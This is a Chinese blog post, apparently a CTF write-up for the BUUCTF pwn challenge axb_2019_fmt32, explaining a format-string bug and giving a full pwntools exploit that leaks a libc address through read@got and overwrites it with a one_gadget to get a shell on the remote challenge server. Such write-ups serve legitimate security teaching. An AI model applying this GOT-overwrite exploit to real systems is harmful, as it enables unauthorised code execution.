axb_2019_fmt32

最新推荐文章于 2025-03-23 23:08:34 发布

m0sway

最新推荐文章于 2025-03-23 23:08:34 发布

阅读量2.2k

点赞数

CC 4.0 BY-SA版权

分类专栏： BUU-PWN 文章标签： pwn 网络安全信息安全

本文链接：https://blog.youkuaiyun.com/m0sway/article/details/121924440

BUU-PWN 专栏收录该内容

58 篇文章

订阅专栏

本文介绍了如何通过checksec和IDA分析一个32位程序，发现栈不可执行和格式化字符串漏洞。利用这些信息，通过构造payload泄露libc地址，并使用one_gadget找到执行shell的地址，最终实现远程控制。实验中涉及了read@got和printf@got的覆盖，以及交互式shell的获取。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

axb_2019_fmt32

使用checksec查看：
在这里插入图片描述
只开启了栈不可执行，看题目名像是格式化字符串的题目。

放进IDA中查看：
在这里插入图片描述
存在格式化字符串，直接运行测试。

可以看到，在第七位、第八位均有我们输入的参数。

说明这题的栈是没有对齐的，写payload的时候需要注意。

然而…这道题并没有后门函数直接写入got表，所以需要先泄露出libc地址

再用one_gadget去getshell，可以覆盖read@got或者printf@got

exp：

from pwn import *

#start
# p = process("../buu/axb_2019_fmt32")
p = remote("node4.buuoj.cn","29394")
elf = ELF("../buu/axb_2019_fmt32")
libc = ELF("../buu/ubuntu16(32).so")

#params
read_got = elf.got['read']

#attack
payload = b'a' + p32(read_got) + b'%8$s'
p.sendafter('me:', payload)
read_addr = u32(p.recv(18)[-4:])

#libc
libc_base = read_addr - libc.symbols['read']
one_gadget = libc_base + 0x3a80c

#attack2
payload = b'a' + fmtstr_payload(8, {read_got: one_gadget},write_size = "byte",numbwritten = 0xa)
p.sendafter('me:', payload)
p.sendline("cat flag")

p.interactive()